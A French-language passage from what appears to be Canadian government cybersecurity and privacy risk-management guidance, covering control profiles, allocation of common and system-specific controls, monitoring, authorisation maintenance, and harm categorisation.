Il est préférable d'élaborer les profils organisationnels en tirant avantage de plusieurs processus de gestion de l'information clés à l'échelle de l'organisation. Ces processus d'entreprise s'ajoutent aux processus de gestion des risques pour la cybersécurité et la vie privée et peuvent aider les organisations à sélectionner et à adapter les activités et les contrôles à cet égard de façon appropriée. Les processus de soutien sont les suivants :

• l'examen des activités opérationnelles de l'organisation et ses besoins en matière de sécurité et de protection de la vie privée;
• la priorisation des activités opérationnelles de l'organisation selon les objectifs stratégiques dictés par la disponibilité et la continuité des activités (de manière générale, cela signifie s'assurer que la plupart des activités critiques se poursuivront ou resteront disponibles);
• la définition des types de biens d'information nécessaires pour mener à bien les activités opérationnelles d'un ministère, leur criticité, leur sensibilité et leurs flux internes et externes;
• la création de dictionnaires de données qui documentent les collectes de renseignements personnels dans l'organisation;
• la définition de l'architecture conceptuelle d'entreprise qui comprend les exigences en matière de cybersécurité et de protection de la vie privée.

L'élaboration des profils d'activités et de contrôles en matière de sécurité et de protection de la vie privée s'effectue en quatre étapes :

1. définir les domaines opérationnels;
2. définir les approches architecturales à la sécurité;
3. sélectionner les activités et les contrôles de sécurité et de protection de la vie privée;
4. approuver les profils organisationnels des activités et des contrôles en matière de sécurité et de protection de la vie privée.

Ces quatre étapes sont décrites en détail dans les sous-sections ci-dessous.

4.2.1 Définir les domaines opérationnels

Objectif : Définir les domaines opérationnels d'une organisation pour faciliter l'élaboration des profils organisationnels des activités et des contrôles en matière de sécurité et de protection de la vie privée.

Rôles connexes suggérés : Architectes de sécurité d'entreprise, architectes de la protection de la vie privée

Un domaine opérationnel se caractérise par les catégories de sécurité de ses activités opérationnelles et les menaces pertinentes qui pèsent sur la cybersécurité. Par conséquent, les domaines opérationnels peuvent avoir différents besoins en matière de protection, ce qui donne lieu à des profils différents.

Par exemple, il convient d'envisager un ensemble d'activités opérationnelles portant sur la diffusion de publications non sensibles et un second ensemble portant sur des transactions financières essentielles à valeur élevée. Dans ce dernier scénario, les activités financières donneraient probablement lieu à un niveau de préjudice plus élevé et feraient l'objet de menaces plus grandes. Cette analyse mènerait à la définition de deux domaines exigeant deux profils de domaine différents.

Les organisations ont une certaine souplesse dans la façon dont elles définissent leurs domaines opérationnels. Elles devraient documenter en détail la manière dont ces domaines sont définis, les catégories de préjudice des activités opérationnelles et l'importance de l'environnement de menace. Il importe de souligner que les activités opérationnelles de l'organisation devraient être définies tôt (en totalité ou en partie), durant l'activité d'évaluation et de catégorisation du préjudice (voir la section 4.1.3).

Les définitions des domaines opérationnels sont créées dans le cadre de cette activité. Chaque domaine opérationnel défini devrait comprendre ce qui suit :

• une description des objectifs opérationnels, des processus et des biens d'information du domaine opérationnel;
• la catégorie de préjudice associée au domaine opérationnel;
• une caractérisation de l'environnement de menace en rapport avec le domaine opérationnel (à savoir, le niveau de menace délibérée [Md] le plus élevé à atténuer);
• un énoncé indiquant le niveau de risque le plus élevé que la ou le propriétaire opérationnel juge acceptable.

Résultat : Définitions des domaines opérationnels, ce qui comprend les objectifs, les processus et les biens l'information, la catégorie de préjudice, l'environnement de menace et un énoncé du niveau de risque jugé acceptable.

4.2.2 Définir les approches architecturales à la sécurité

Objectif : Définir un ensemble d'approches architecturales à la sécurité en accord avec la philosophie, la culture, les objectifs et les priorités de l'organisation en matière de cybersécurité et de protection de la vie privée.

Rôles connexes suggérés : Architectes de sécurité d'entreprise, architectes de la protection de la vie privée

Au niveau organisationnel, les approches architecturales à la sécurité influent sur la sélection de certaines activités et de certains contrôles de sécurité techniques associés aux principes d'ingénierie de la sécurité mis en œuvre dans l'approche adoptée. Au niveau du système d'information, les approches architecturales à la sécurité s'avèrent tout aussi importantes qu'un guide mis en place pour adapter les contrôles de sécurité dans les profils selon les besoins des systèmes d'information en matière de sécurité et préciser les conceptions de sécurité appropriées.

Les architectes de sécurité d'entreprise et les architectes de protection de la vie privée s'efforceront probablement d'obtenir l'approbation de la haute direction quant aux approches architecturales à la sécurité à adopter, puisque ces décisions ont souvent des implications sur le plan budgétaire et des capacités.

Lorsqu'elles définissent les approches architecturales à la sécurité, les organisations devraient tenir compte de ce qui suit :

• les besoins opérationnels en matière de sécurité et de protection de la vie privée (section 4.1.2)
• l'évaluation et la catégorisation du préjudice lié aux activités opérationnelles (section 4.1.3)
• les menaces documentées dans l'évaluation des menaces de l'organisation (section 4.1.6)
• les pratiques exemplaires et les principes généralement acceptés en matière de cybersécurité, notamment :
  • le document Enterprise Security Architecture – A Business-Driven Approach (en anglais seulement) de Sherwood Applied Business Security Architecture (SABSA);
  • le document Exigences de base en matière de sécurité pour les zones de sécurité de réseau (ITSP.80.022. version 2.0) du Centre pour la cybersécurité;
  • le document Special Publication (SP) 800-160 Vol.1 Rev.1 Engineering Trustworthy Secure Systems (en anglais seulement) du National Institute of Standards and Technology (NIST);
  • le document SP 800-160 Vol. 2 Rev. 1 Developing Cyber-Resilient Systems: A Systems Security Engineering Approach (en anglais seulement) du NIST;
• les pratiques exemplaires et les principes généralement reconnus en matière de protection de la vie privée, notamment :
  • les principes de traitement équitable de l'information;
  • les principes généralement reconnus en matière de protection des renseignements personnels (PPRP).

Vous trouverez ci-dessous des exemples d'approches architecturales à la sécurité qui influent sur la sélection des activités et des contrôles en matière de sécurité et de protection de la vie privée, ainsi que la spécification des conceptions de sécurité que les organisations peuvent utiliser :

• une approche globale comparativement à une approche fragmentaire à la conception, où l'approche globale considère la sécurité et la protection de la vie privée à différentes couches d'un système d'information (par exemple, les couches des applications, de la gestion des données, des intergiciels, de la plateforme et des communications) et permet de comprendre les flux d'information entre ces couches;
• une défense en profondeur ou multicouche comparativement à une attention portée exclusivement à une protection monocouche;
• des approches à conception de type coquille d'œuf (périmètre robuste et centre vulnérable) comparativement à en nid d'abeilles et comparativement à la protection des points d'extrémité;
• des modes de fonctionnement appropriés de la sécurité (dédié, système haut, compartimenté, multiniveau, niveaux de sécurité multiples et indépendants [MILS pour Multiple Independent Levels of Security]);
• une architecture d'applications à plusieurs niveaux (présentation, logique applicative, référentiels de données) appliquant le zonage de sécurité comparativement à une architecture de système monolithique;
• l'utilisation de services de sécurité communs avec interface de programmation d'applications normalisées (par exemple, un système d'authentification organisationnel) comparativement à la mise en œuvre de services de sécurité personnalisés;
• la sécurité de l'infrastructure comparativement à la sécurité des biens de données (par exemple, la gestion des droits numériques);
• les considérations sociétales (par exemple, la vie privée du personnel par rapport à la surveillance) comparativement à l'application de contrôles difficiles à utiliser, mais plus sécurisés.

Résultat : Liste des approches architecturales à la sécurité sélectionnées et justifications.

4.2.3 Sélectionner les activités et les contrôles organisationnels de sécurité et de protection de la vie privée

Objectif : Sélectionner les activités et les contrôles organisationnels de sécurité et de protection de la vie privée.

Rôles connexes suggérés : Architectes de sécurité d'entreprise, architectes de la protection de la vie privée, conseillères et conseillers en sécurité, conseillères et conseillers en protection de la vie privée

Les organisations élaborent un profil d'activités et de contrôles pour chacun des domaines opérationnels qu'elles ont définis. Si une organisation définit plusieurs domaines opérationnels, elle peut alors développer les profils progressivement, en commençant par celui dont elle a le plus besoin, puis en ajoutant les autres au fil du temps.

Trois approches peuvent être mises en œuvre pour les activités et les contrôles :

• une approche de mise en œuvre commune (héritable);
• une approche de mise en œuvre propre au système;
• une approche de mise en œuvre hybride.

Les approches de mise en œuvre définissent la portée de l'applicabilité pour le contrôle ou l'activité, sa nature partagée ou sa transmissibilité, et la responsabilité à l'égard de son développement, de sa mise en œuvre et de son autorisation. Chaque approche de mise en œuvre est associée à une orientation et à un objectif précis pouvant aider les organisations à sélectionner les activités et les contrôles appropriés, à les appliquer de manière efficace et à répondre aux exigences de sécurité et de protection de la vie privée. Une approche de mise en œuvre particulière peut permettre de faire des économies en tirant parti des capacités liées à la sécurité et à la protection de la vie privée dans divers systèmes et environnements opérationnels.

Une activité et un contrôle communs sont déployés sous forme de service partagé au sein de l'organisation. La mise en œuvre d'activités et de contrôles communs engendre une capacité dont plusieurs systèmes ou programmes peuvent hériter. La responsabilité des activités et des contrôles propres au système relève de la ou du propriétaire du système. Les organisations peuvent mettre en œuvre un contrôle ou une activité hybride si une partie des activités ou des contrôles sont communs (héritables) et que l'autre partie est propre au système. Par exemple, une organisation peut mettre en œuvre le contrôle de la planification d'urgence CP-02 à l'aide d'un modèle prédéfini pour tous les systèmes organisationnels alors que chaque propriétaire du système d'information adapte le plan pour des usages propres au système, lorsque cela s'avère approprié. En ce qui a trait à la protection de la vie privée, une politique ou procédure panorganisationnelle serait un exemple d'activité ou de contrôle commun en matière de protection de la vie privée. Pour de plus amples renseignements, prière de consulter la section 2, Approches de mise en œuvre, du Catalogue des activités d'assurance et des contrôles de sécurité et de protection de la vie privée (ITSP.10.033).

Les profils d'activités et de contrôles organisationnels sont utilisés par les fonctions responsables de la cybersécurité et de la protection de la vie privée pour coordonner l'attribution des activités et des contrôles communs à l'architecture d'entreprise. Ils éclairent également les projets pour ce qui est des activités et des contrôles hérités par le système, ainsi que ceux qu'ils visent à mettre en œuvre pour sécuriser le système en cours de développement ou de mise à jour.

Au moment d'élaborer leurs profils d'activités et de contrôles, les organisations sélectionnent les activités et les contrôles dans le catalogue ITSP.10.033 et les adaptent de manière à répondre à leurs besoins en matière de sécurité et de protection de la vie privée (section 4.1.2). La sélection et l'adaptation des activités et des contrôles sont orientées par les résultats de l'évaluation organisationnelle de la protection de la vie privée (section 4.1.5), de l'évaluation organisationnelle de la cybersécurité (section 4.1.6) et les approches architecturales à la sécurité définies (section 4.2.2). Pour les organisations où on retrouve une fonction responsable de l'architecture d'entreprise, les praticiennes et praticiens de la sécurité et de la protection de la vie privée devraient également tenir compte des artéfacts liés à la cybersécurité lors de la sélection et de l'adaptation des activités et des contrôles propres au système.

Les profils organisationnels devraient également documenter les hypothèses et le contexte opérationnel en fonction desquels ils ont été élaborés en décrivant ce qui suit :

• les activités opérationnelles prises en compte et les besoins opérationnels connexes en matière de sécurité et de protection de la vie privée;
• l'évaluation et la catégorisation du préjudice lié aux activités opérationnelles prises en compte;
• le contexte de menace;
• les artéfacts de conformité aux exigences législatives et aux politiques;
• les approches architecturales à la sécurité ayant été définies;
• toute autre contrainte technique ou hypothèse susceptible d'influer sur la sélection des activités et des contrôles.

Le référentiel organisationnel des menaces est un élément clé du processus d'élaboration d'un profil d'activités et de contrôles (voir la section 4.1.6). Lors de l'élaboration des profils des domaines, les organisations peuvent peaufiner les définitions des menaces de l'organisation selon le renseignement additionnel sur les menaces propre aux activités opérationnelles de chaque domaine. Dans une telle situation, les organisations peuvent documenter ces définitions de menace dans les référentiels des menaces propres au domaine.

On devrait envisager d'attribuer plusieurs des activités et des contrôles mentionnés dans le catalogue ITSP.10.033 en tant qu'activités et contrôles communs.

Voici des exemples d'activités et de contrôles communs en matière de sécurité et de protection de la vie privée :

• un programme organisationnel de filtrage de sécurité du personnel pour appuyer la sélection du personnel de cybersécurité;
• un programme de sécurité physique pour soutenir la protection des installations technologiques;
• une gestion des incidents de sécurité et des atteintes à la vie privée réalisée par des fonctions responsables de la cybersécurité et de la protection de la vie privée pour assurer une connaissance approfondie de la situation;
• un système exploité par un groupe opérationnel de TI et de TO qui propose une solution commune à l'authentification des utilisatrices ou utilisateurs finaux;
• un système panorganisationnel de surveillance des journaux exploité par une équipe relevant de la fonction responsable de la cybersécurité, permettant de séparer les tâches entre les fonctions responsables des opérations de TI ou de TO et celles qui sont responsables de la cybersécurité;
• un programme de sensibilisation et de formation en matière de cybersécurité administré par le centre d'apprentissage de l'organisation.

Pour élaborer leur profil, les organisations peuvent tirer avantage du profil à incidence moyenne décrit dans le document ITSP.10.033-01, qui est fondé sur le catalogue de l'ITSP.10.033.

Résultat : Un profil panorganisationnel des activités et des contrôles en matière de sécurité et de protection de la vie privée ou un ensemble de profils d'activités et de contrôles en matière de sécurité et de protection de la vie privée propres au domaine.

4.2.4 Approuver le ou les profils de l'organisation

Objectif : Approuver le ou les profils organisationnels des activités et des contrôles en matière de sécurité et de protection de la vie privée.

Rôles connexes suggérés : Responsables principales et principaux de la sécurité; responsables principales et principaux de la protection de la vie privée

Une fois que le ou les profils d'activités et de contrôles en matière de sécurité et de protection de la vie privée sont terminés, les membres de la haute direction responsables de la gouvernance de l'organisation à cet égard devraient les passer en revue et obtenir l'approbation des autorités de l'organisation (par exemple, PDG, DPI, DPS, DPSI, CPRP, administratrice générale ou administrateur général) au besoin. Dans le cadre de ce processus, ces membres de la haute direction devraient également s'assurer que les activités et les contrôles organisationnels indiqués dans les profils répondent aux besoins de l'organisation en matière de sécurité et de protection de la vie privée, et qu'ils permettent de remplir ses obligations à cet égard. Elles et ils devraient faire en sorte qu'un bon équilibre soit maintenu entre la mise en œuvre des activités et des contrôles et les niveaux de risque résiduel que l'organisation est prête à assumer.

Résultat : Un ou plusieurs profils organisationnels des activités et des contrôles en matière de sécurité et de protection de la vie privée approuvés.

 

Haut de la page 

4.3 Attribuer les activités et les contrôles de sécurité et de protection de la vie privée

Objectif : Coordonner l'attribution des activités et des contrôles de sécurité et de protection de la vie privée.

Rôles connexes suggérés : Architectes de sécurité d'entreprise, architectes de la protection de la vie privée

Après l'approbation des profils organisationnels des activités et des contrôles en matière de sécurité et de protection de la vie privée, les membres de la haute direction responsables de la gouvernance de l'organisation à cet égard et leur personnel peuvent commencer à coordonner l'attribution des activités et des contrôles.

L'élaboration d'une stratégie pour l'attribution des activités et des contrôles de sécurité et de protection de la vie privée commence par la détermination des activités et des contrôles communs, hybrides ou propres au système. Il est également important d'identifier les parties responsables de la mise en œuvre et de l'exploitation des activités et des contrôles communs et hybrides dans l'organisation. Obtenir le soutien du comité de l'architecture d'entreprise peut faciliter ce processus.

4.3.1 Attribuer les activités et les contrôles communs

Objectif : Coordonner et documenter l'attribution des activités et des contrôles communs.

Rôles connexes suggérés : Architectes de sécurité d'entreprise, architectes de la protection de la vie privée

Dans une organisation bien établie, il est possible que certaines activités et certains contrôles soient déjà fournis par l'intermédiaire de services partagés ou communs. Ceux-ci devraient être indiqués et documentés dans l'architecture de sécurité d'entreprise. Dans le cas des activités et des contrôles qui ne sont pas déjà en place, les responsabilités devraient être clairement définies et attribuées avec la fonction responsable de l'architecture de sécurité d'entreprise.

Les organisations peuvent attribuer les activités et les contrôles communs en matière de sécurité et de protection de la vie privée de plusieurs façons. Ils peuvent être attribués :

• à des fonctions responsables de la cybersécurité et de la protection de la vie privée;
• à un groupe opérationnel de TI et de TO de l'organisation;
• à d'autres groupes dans l'organisation ou être externalisés à une autre organisation ou à un autre fournisseur de services;
• à un nouveau service partagé ou commun.

Le tableau 1 donne des exemples des activités et des contrôles communs en matière de sécurité et de protection de la vie privée qu'il est possible d'attribuer.

Tableau 1 : Exemples d’attribution d’activités et de contrôles communs

Activités et contrôles communs	Attribution par la fonction responsable de l’architecture de sécurité d’entreprise	Autorité opérationnelle
CA-07 Surveillance continue	Mettre en œuvre une infrastructure de surveillance automatisée	Autorités de cybersécurité (comme composante de la fonction de cybersécurité)
SC-07 Protection des frontières	Mettre en œuvre une infrastructure de protection des frontières	Groupe opérationnel de TI ou de TO – Opérations réseau
CP-07 Site de traitement auxiliaire	Contrat de services	Fournisseur de services
IA-02 Identification et authentification (utilisatrices et utilisateurs de l’organisation)	S’abonner à un service partagé existant d’identification et d’authentification du GC	Services partagés Canada (SPC)Note de bas de page 4
PT-01 Politique et procédures de traitement des renseignements personnels et de transparence	L’autorité des politiques d’entreprise publie les politiques et les procédures relatives au traitement des renseignements personnels	Autorités de protection de la vie privée (comme composante d’une fonction de protection de la vie privée)

Si l’attribution d’une activité ou d’un contrôle de sécurité ou de protection commun exige la mise en œuvre de systèmes de soutien, les organisations devraient le faire dans le cadre de projets qui respectent le processus décrit dans le document Activités de gestion des risques pour la cybersécurité et la vie privée tout au long du cycle de vie des systèmes (ITSP.10.037).

Résultat : Document dressant la liste des activités et des contrôles de sécurité et de protection de la vie privée communs ayant été attribués.

4.3.2 Attribuer les activités et les contrôles propres au système

Objectif : Coordonner et documenter l’attribution des activités et des contrôles propres à un système.

Rôles connexes suggérés : Architectes de sécurité d’entreprise, architectes de la protection de la vie privée

Pour mettre en œuvre les activités et les contrôles de sécurité et de protection de la vie privée sélectionnés, la fonction responsable de l’architecture de sécurité d’entreprise attribuera un ensemble d’activités et de contrôles appropriés à ce système. Les contrôles techniques propres au système doivent être déterminés au début du cycle de vie du projet pour veiller à ce qu’ils aient la portée, les ressources et les fonds budgétaires nécessaires. Cette approche proactive permet de garantir que les activités et les contrôles sont intégrés facilement dans le développement et l’exploitation du système, plutôt que d’être reconfigurés après la mise en œuvre, augmentant par la même occasion les coûts ou la complexité.

Le processus d’attribution comprend la mise en correspondance des contrôles applicables (dont les contrôles hybrides) aux contextes du système et la coordination des responsabilités de mise en œuvre entre les parties prenantes responsables de la cybersécurité, de la protection de la vie privée et des activités.

Les groupes opérationnels de TI et de TO et ceux chargés des projets mettent en œuvre et exploitent les activités et les contrôles de sécurité et de protection de la vie privée dans les systèmes conformément aux activités de gestion des risques pour la cybersécurité et la vie privée décrites dans l’ITSP.10.037.

Une documentation claire des attributions des activités et des contrôles permet également de soutenir une assurance continue, l’état de préparation à la vérification et la capacité de gérer l’efficacité des contrôles au fil du temps.

Résultat : Liste des activités et des contrôles de sécurité et de protection de la vie privée attribués dans les systèmes.

 

Haut de la page 

4.4 Surveiller et évaluer le niveau de performance des activités et des contrôles en matière de sécurité et de protection de la vie privée

Objectif : Procéder à une surveillance et à une évaluation continues des activités et des contrôles de sécurité et de protection de la vie privée ayant été mis en œuvre.

Rôles connexes suggérés : Groupes opérationnels de TI ou de TO, évaluatrices et évaluateurs de la sécurité, évaluatrices et évaluateurs de la protection de la vie privée

Les organisations surveillent et évaluent le niveau de performance des activités et des contrôles communs, hybrides et propres au système qui ont été mis en œuvre en misant sur la collecte, la consolidation et l’analyse continue des indicateurs de performance. Un bon nombre des tâches de surveillance et d’évaluation seront effectuées par les groupes opérationnels de TI ou de TO, et les rapports récapitulatifs seront fournis aux fonctions responsables de la cybersécurité et de la protection de la vie privée aux fins d’analyse panorganisationnelle. Certaines tâches de surveillance sensibles peuvent être effectuées par les fonctions responsables de la cybersécurité et de la protection de la vie privée (si elles sont exigées par un profil d’activités et de contrôles en matière de sécurité et de protection de la vie privée) lorsque la séparation des tâches est nécessaire.

Les tâches liées à l’évaluation continue^{Note de bas de page 5} considèrent plus que le niveau de performance des activités et des contrôles de sécurité et de protection de la vie privée. Elles devraient entre autres tenir compte de ce qui suit :

• relever les vulnérabilités, les faiblesses et les inefficacités;
• passer en revue les changements liés à la sécurité et à la protection de la vie privée;
• passer en revue les rapports d’incidents et de problèmes liés à la sécurité et à la protection de la vie privée;
• procéder à des tests de la sécurité, ce qui pourrait comprendre des tests fonctionnels de la sécurité, des évaluations des vulnérabilités et des tests d’intrusion;
• passer en revue la configuration de sécurité des composants du système.

Les résultats de la surveillance et de l’évaluation informeront les autorités de l’organisation de l’état actuel de la posture de sécurité et de protection de la vie privée des systèmes organisationnels. Une posture de sécurité et de la protection de la vie privée stable et adéquate permettra au système de maintenir son autorisation d’exploiter. Une détérioration de la posture pourrait forcer les autorités de l’organisation à révoquer l’autorisation d’exploiter jusqu’à ce que les mesures d’atténuation nécessaires soient prises (voir la section 4.5 et la section 4.6).

Résultat : Rapport sur le niveau de performance des activités et des contrôles de sécurité et de protection de la vie privée, ainsi sur la posture des systèmes en matière de sécurité et de protection de la vie privée.

4.5 Maintenir l’autorisation

Objectif : Maintenir l’état d’autorisation des systèmes.

Rôles connexes suggérés : Autorisatrices et autorisateurs, analystes des activités, conseillères et conseillers en sécurité, conseillères et conseillers en protection de la vie privée, architectes de sécurité d’entreprise, architectes de la protection de la vie privée

Lorsqu’elles suivent le processus suggéré de gestion des risques pour la cybersécurité et la vie privée, les organisations autorisent d’abord l’exploitation de leurs systèmes dans le cadre du processus détaillé dans l’ITSP.10.037. Par la suite, les organisations maintiennent l’état d’autorisation de leurs systèmes en s’assurant de surveiller, d’évaluer et de mettre à jour continuellement les activités et les contrôles de sécurité et de protection de la vie privée.

Le processus de maintien des autorisations consiste à effectuer les activités suivantes :

• procéder à l’examen régulier de l’évaluation et de la catégorisation du préjudice lié aux activités opérationnelles prises en charge;
• réévaluer l’environnement de menace et le niveau de performance des environnements techniques en matière de sécurité;
• réévaluer la collecte et l’utilisation des renseignements personnels pour comprendre les changements apportés à la conception initiale du programme;
• passer en revue les résultats de l’évaluation du niveau de performance des activités et des contrôles de sécurité et de protection de la vie privée;
• passer en revue les activités du groupe opérationnel de TI ou de TO pour confirmer qu’elles ont permis de maintenir adéquatement la posture de sécurité et de protection de la vie privée des systèmes conformément aux dispositions stipulées dans les plans opérationnels en matière de sécurité et de protection de la vie privée.

Lorsque les résultats des activités de maintien de l’autorisation démontrent que le fonctionnement d’un système ne respecte plus les niveaux acceptables de risque résiduel, les organisations peuvent remédier à la situation de plusieurs manières, notamment en faisant ce qui suit :

• mettre en œuvre des mesures de sécurité temporaires pour protéger les activités opérationnelles prises en charge (par exemple, déconnecter un système d’information d’Internet, activer une partie d’un plan d’urgence);
• mettre à jour les artéfacts de protection de la vie privée (par exemple, les avis et énoncés de confidentialité et les fichiers de renseignements personnels connexes, sous réserve de l’obtention des approbations nécessaires);
• mettre à jour les activités et les contrôles mis en œuvre pour corriger les lacunes en matière de sécurité et de protection de la vie privée et rétablir le système à son état d’exploitation autorisé (voir la section 4.6);
• accepter le nouveau niveau de risque résiduel.

Si le niveau de risque résiduel demeure inacceptable après l’application des mesures initiales, les responsables de l’autorisation peuvent choisir de révoquer l’autorisation d’exploiter jusqu’à la prise de plus amples mesures correctives. La révocation de l’autorisation donnera lieu à des activités additionnelles d’analyse de la sécurité et des facteurs relatifs à la vie privée afin de relever les lacunes propres au contexte opérationnel. Ces activités seront suivies par l’application de mesures correctives ou d’améliorations aux activités et aux contrôles pour rétablir le système à son état autorisé.

Les organisations devraient préciser dans leur plan de sécurité organisationnel à quelle fréquence il convient d’effectuer les activités d’évaluation et d’examen de la sécurité (par exemple, l’examen des rapports d’incidents de sécurité, l’examen de l’environnement de menace, l’examen des activités opérationnelles du groupe opérationnel de TI ou de TO). Autrement, les responsables de l’autorisation pourraient déterminer la fréquence de ces activités au cours de la mise en œuvre initiale d’un système selon des facteurs tels que la catégorisation du préjudice en matière de sécurité, les menaces, les niveaux de risque résiduel et les lacunes de sécurité non résolues.

Les résultats des activités de maintien de l’autorisation comprennent des évaluations actualisées du risque résiduel et les dispositions en matière de sécurité qui ont été mises à jour dans le plan opérationnel. Les dispositions en matière de sécurité stipulées dans le plan opérationnel devraient comprendre des plans et des calendriers d’atténuation pour toutes les lacunes de sécurité non résolues qui ont été relevées dans le cadre de la réalisation de l’évaluation de sécurité (voir la section 4.6).

Dans le GC, les programmes doivent revoir chaque année les risques relevés lors du processus d’évaluation de la protection de la vie privée et mettre à jour les mesures d’atténuation des risques.

Résultats : Mise à jour des évaluations du risque résiduel et des dispositions du plan opérationnel en matière de sécurité.

4.6 Mettre à jour le ou les profils d’activités et de contrôles en matière de sécurité et de protection de la vie privée

Objectif : S’assurer que la posture du programme en matière de sécurité et de protection de la vie privée, ainsi que celle du système, demeurent adéquates en tenant à jour l’ensemble des activités et des contrôles mis en œuvre. Au besoin, ajouter des activités et des contrôles pour renforcer la posture de sécurité et de protection de la vie privée.

Rôles connexes suggérés : Architectes de sécurité d’entreprise, architectes de la protection de la vie privée

Les organisations pourraient avoir à mettre à jour les activités et les contrôles de sécurité et de protection de la vie privée qu’elles ont mis en œuvre pour diverses raisons, notamment dans les cas suivants :

• un changement apporté aux missions ou aux objectifs de l’organisation;
• un changement apporté à l’activité opérationnelle de l’organisation (par exemple, la collecte de nouveaux renseignements plus sensibles dans le cadre d’un programme organisationnel existant);
• un changement apporté aux besoins opérationnels en matière de sécurité et de protection de la vie privée (par exemple, en raison de changements législatifs ou de politique);
• un changement apporté dans la collecte, l’utilisation ou la divulgation de renseignements personnels;
• la nécessité d’apporter des changements en raison de la mise à jour d’une évaluation des menaces de l’organisation (à savoir, lorsqu’un programme est ciblé par plusieurs auteurs de menace dotés de moyens sophistiqués);
• la nécessité d’apporter des changements en raison de la surveillance du niveau de performance (par exemple, une activité ou un contrôle de sécurité et de protection de la vie privée s’avère inefficace pour protéger adéquatement les systèmes ou les renseignements personnels concernés).

Les principaux éléments de cette activité comprennent les profils d’activités et de contrôles de l’organisation, les référentiels des menaces, les résultats de la surveillance du niveau de performance, ainsi que les activités de maintien des évaluations et des autorisations (voir la section 4.4 et la section 4.5). Cette approche permet de révéler les lacunes dans les activités et les contrôles existants, ce qui donnera lieu à des mises à jour ou à l’ajout de nouvelles activités et de nouveaux contrôles. Il pourrait également être nécessaire de revoir les activités et les contrôles de cybersécurité et de protection de la vie privée plus tôt afin de redéfinir les exigences, de mettre à jour les profils d’activités et de contrôles et les référentiels de menaces (voir, par exemple, la section 4.1.3, la section 4.1.6, ou la section 4.2), d’attribuer de nouvelles activités ou de nouveaux contrôles (voir la section 4.3), ou de procéder à une surveillance et une évaluation plus poussées (voir la section 4.4).

Résultat : Rapport sur la nécessité d’améliorer les activités et les contrôles de sécurité et de protection de la vie privée, d’en créer de nouveaux ou de mettre à jour le ou les profils.

5 Processus d’évaluation et de catégorisation du préjudice

La présente section décrit la façon dont les organisations peuvent réaliser les évaluations et la catégorisation du préjudice lié à leurs activités opérationnelles afin de mieux définir les profils de leurs activités et de leurs contrôles en matière de sécurité et de protection de la vie privée. Par activités opérationnelles, on entend les processus opérationnels et les biens d’information connexes, ce qui comprend les renseignements personnels.

Le processus d’évaluation et de catégorisation du préjudice est un instrument qui permet d’établir l’importance relative des activités opérationnelles de l’organisation. Au niveau de l’organisation, les catégories de préjudice des activités opérationnelles servent de données d’entrée pour les évaluations des menaces et l’élaboration des profils d’activités et de contrôles. Au niveau du système, les catégories de préjudice des activités opérationnelles servent de données d’entrée pour ce qui est d’établir les exigences d’assurance de sécurité, de sélectionner et d’adapter les activités et les contrôles de sécurité et de protection de la vie privée, et de réaliser une EMR.

5.1 Concepts

La compromission des activités opérationnelles par des cybermenaces pourrait causer un préjudice aux intérêts nationaux^{Note de bas de page 6} ou aux intérêts non nationaux^{Note de bas de page 7} qu'elles visent à servir. Le préjudice pourrait résulter d'une utilisation, d'une divulgation ou d'une modification non autorisée, d'un refus d'accès à l'information ou de la corruption ou de l'interruption des processus opérationnels. Un préjudice causé par une utilisation ou une divulgation non autorisée d'information relève de l'objectif de confidentialité de la sécurité de l'information. Un préjudice causé par une modification de l'information ou la corruption de processus opérationnels relève de l'objectif d'intégrité (à savoir, l'exactitude, l'exhaustivité, l'authenticité, l'utilisation prévue) de la sécurité de l'information. Un préjudice causé par un refus d'accès à l'information ou à l'interruption des processus opérationnels relève de l'objectif de disponibilité de la sécurité de l'information.

Le processus d’évaluation et de catégorisation du préjudice détermine un niveau de préjudice pour chaque objectif de sécurité associé à une activité opérationnelle. La désignation d’un niveau de préjudice suppose une compromission fructueuse par un auteur de menace. L’évaluation peut ainsi mettre l’accent sur les préjudices qui pourraient raisonnablement résulter de cet événement.

5.1.1 Systèmes de sécurité nationale

Un système de sécurité nationale (SSN) est un système dont la compromission, que ce soit sur le plan de la confidentialité, de l'intégrité ou de la disponibilité, pourrait porter atteinte à la sécurité nationale. Bien que la désignation des SSN corresponde souvent au niveau de classification (par exemple, CONFIDENTIEL, SECRET, TRÈS SECRET), la classification n'est pas un facteur déterminant en soi. Certains systèmes peuvent porter la mention NON CLASSIFIÉ, mais tout de même être considérés comme des SSN si leur compromission peut raisonnablement porter atteinte à la sécurité nationale.

Au Canada, le SCT confère à la mention NON CLASSIFIÉ le sens de « non sensible ». Cela dit, le niveau de classification d'un système n'élimine pas son incidence potentielle. Par exemple, la compromission d'un système d'armement militaire à bord d'un navire ou d'un véhicule blindé pourrait causer une atteinte à la sécurité nationale. À ce titre, il convient d'identifier ce système comme SSN lors du processus de catégorisation du préjudice. Les principaux points à considérer pour la désignation des SSN sont le préjudice potentiel envers la sécurité nationale, et non le niveau de classification. Les évaluations du préjudice devraient porter sur les conséquences de la compromission plutôt que sur le fait qu'un système est considéré comme étant classifié ou non classifié.

5.1.2 Sécurité

Lors de l'évaluation de systèmes essentiels à la sécurité dont la défaillance pourrait donner lieu à des répercussions sur la santé, à des pertes de vie, à des pertes ou dommages matériels ou à la dégradation de l'environnement, il est essentiel de tenir compte de la classification de l'information et de la façon dont les exigences de sécurité influent sur le potentiel de dommages advenant la compromission des systèmes. Dans de tels cas, les exigences de sécurité peuvent amplifier l'incidence potentielle sur la disponibilité, l'intégrité et, dans certains contextes, la confidentialité, ce qui se traduira par des niveaux de préjudice plus élevés lors du processus de catégorisation du préjudice. Les systèmes essentiels à la sécurité sont généralement soumis à des exigences rigoureuses en matière de disponibilité et d'intégrité, et la confidentialité pourrait également être importante selon le contexte opérationnel. Au final, la gravité affectée au préjudice devrait être proportionnelle au niveau de préjudice qui pourrait raisonnablement résulter de la compromission du système.

5.1.3 Protection de la vie privée

Les évaluations du préjudice doivent tenir compte de l'incidence potentielle sur la vie privée des individus si les activités opérationnelles comportent des renseignements personnels. Les renseignements personnels compromis peuvent causer des préjudices aux individus et aux organisations et se traduire par ce qui suit :

• un vol d'identité ou une fraude;
• une atteinte à la réputation ou un préjudice émotionnel;
• une perte de confiance du public;
• des conséquences sur les plans juridique et réglementaire.

